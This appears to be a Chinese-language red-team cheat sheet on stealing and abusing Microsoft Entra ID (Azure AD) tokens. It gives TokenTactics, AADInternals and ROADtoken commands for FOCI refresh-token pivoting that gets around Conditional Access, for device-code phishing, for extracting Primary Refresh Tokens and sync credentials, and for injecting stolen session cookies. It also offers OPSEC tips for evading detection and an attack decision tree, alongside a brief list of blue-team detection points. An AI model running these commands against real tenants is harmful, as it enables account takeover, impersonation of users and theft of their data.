└─ ... 更多在 TokenTactics 中维护# FOCI 滥用 — 从 Office RT 获取 Teams/Outlook/OneDrive AT
# 假设窃取了 Microsoft Office 的 RT
$officeRT = "0.AXkAj..."
# 获取 Teams 的 AT(使用 Teams 的 Client ID,但传入 Office 的 RT)
Import-Module TokenTactics
RefreshTo-MSTeams -refreshToken $officeRT -domain target.com
# 获取 Outlook 的 AT
RefreshTo-Outlook -refreshToken $officeRT -domain target.com
# 获取 Graph API 的 AT
RefreshTo-MSGraph -refreshToken $officeRT -domain target.com
# 获取 Azure Management 的 AT
RefreshTo-AzureManagement -refreshToken $officeRT -domain target.com
# 获取 OneDrive 的 AT
RefreshTo-OneDrive -refreshToken $officeRT -domain target.com
# ⛔ 关键点: 即使 Conditional Access 限制了某个应用
# 但如果 Family 中的另一个应用不受限制
# 可以通过不受限的应用获取 RT → 再 FOCI 到受限应用实用工具详解
TokenTactics
# https://github.com/rvrsh3ll/TokenTactics
Import-Module .\TokenTactics.psd1
# Device Code Phishing → 获取初始 Token
Get-AzureTokenFromDeviceCode -Client MSGraph
# 使用 RT 切换到不同资源
RefreshTo-MSGraph -refreshToken $rt -domain target.com
RefreshTo-AzureManagement -refreshToken $rt -domain target.com
RefreshTo-MAMResource -refreshToken $rt -domain target.com
RefreshTo-DODMSGraph -refreshToken $rt -domain target.com
RefreshTo-Substrate -refreshToken $rt -domain target.com
# 解析 Token
Parse-JWTtoken -token $atAADInternals
# https://github.com/Gerenios/AADInternals
Import-Module AADInternals
# Token 获取
$at = Get-AADIntAccessTokenForMSGraph
$at = Get-AADIntAccessTokenForAzureCoreManagement
# PRT 操作
$prt = Get-AADIntUserPRTToken
$at = Get-AADIntAccessTokenWithPRT -PRTToken $prt -Resource "https://graph.microsoft.com"
# Token 解析
Read-AADIntAccessToken -AccessToken $at
# Azure AD Connect 凭据提取(需要本地 Admin)
Get-AADIntSyncCredentialsROADtoken
# https://github.com/dirkjanm/ROADtoken
# 从 Azure AD Join 设备提取 PRT
# 运行(需要在 Azure AD Join 的设备上,SYSTEM 权限)
ROADtoken.exe
# 输出 PRT 和 Session Key
# 配合 ROADtools 使用
roadrecon auth --prt-cookie <cookie>
roadrecon gather检测与 OPSEC
蓝队检测点:
├─ Azure AD Sign-in Logs:
│ ├─ 同一 RT 从不同 IP 使用 → 异常
│ ├─ 非常规 Client ID 获取 Token → 异常
│ ├─ 短时间内多次 Token 刷新 → 异常
│ └─ CAE 撤销后仍有 Token 使用 → 异常
│
├─ Sentinel / Defender for Identity:
│ ├─ "Anomalous Token" 警报
│ ├─ "Token Issuer Anomaly"
│ └─ "Primary Refresh Token Theft"
│
└─ 红队 OPSEC:
├─ 使用与目标相同地理位置的 VPN/Proxy
├─ 使用常见的 Client ID(Office、Teams 等)
├─ 避免短时间大量 API 调用
├─ RT 刷新间隔 > 1 小时
└─ 不要从同一 IP 对多个用户 replay Token攻击决策树
获取到凭据后:
├─ 是 Access Token?
│ ├─ 检查过期时间 (exp claim)
│ ├─ 检查 audience (aud claim) — 确定可访问的资源
│ ├─ 检查 scope/roles — 确定权限
│ ├─ 直接使用,同时尝试获取 RT
│ └─ 如果有 CAE (xms_cc: cp1) → 注意可能被撤销
│
├─ 是 Refresh Token?
│ ├─ 立即刷新获取 AT + 新 RT
│ ├─ 尝试 FOCI — 用不同 Client ID 获取多个服务的 AT
│ ├─ 确认 scope — offline_access 必须在原始授权中
│ └─ 定期刷新保持活跃(每 4-8 小时)
│
├─ 是 PRT?
│ ├─ 最高价值 — 等同于完全冒充用户
│ ├─ 可绕过 Conditional Access 的设备要求
│ ├─ 使用 AADInternals 或 ROADtoken 转换为 AT
│ └─ 注意: PRT 提取通常需要 SYSTEM 权限
│
└─ 是 Browser Cookie (ESTSAUTH)?
├─ 在攻击者浏览器中注入 Cookie
├─ 访问 portal.azure.com / office.com
├─ 手动操作 — 像目标用户一样使用
└─ 导出时注意 Cookie 的 domain 和 pathRelated skills
AI & Agent Buildingagents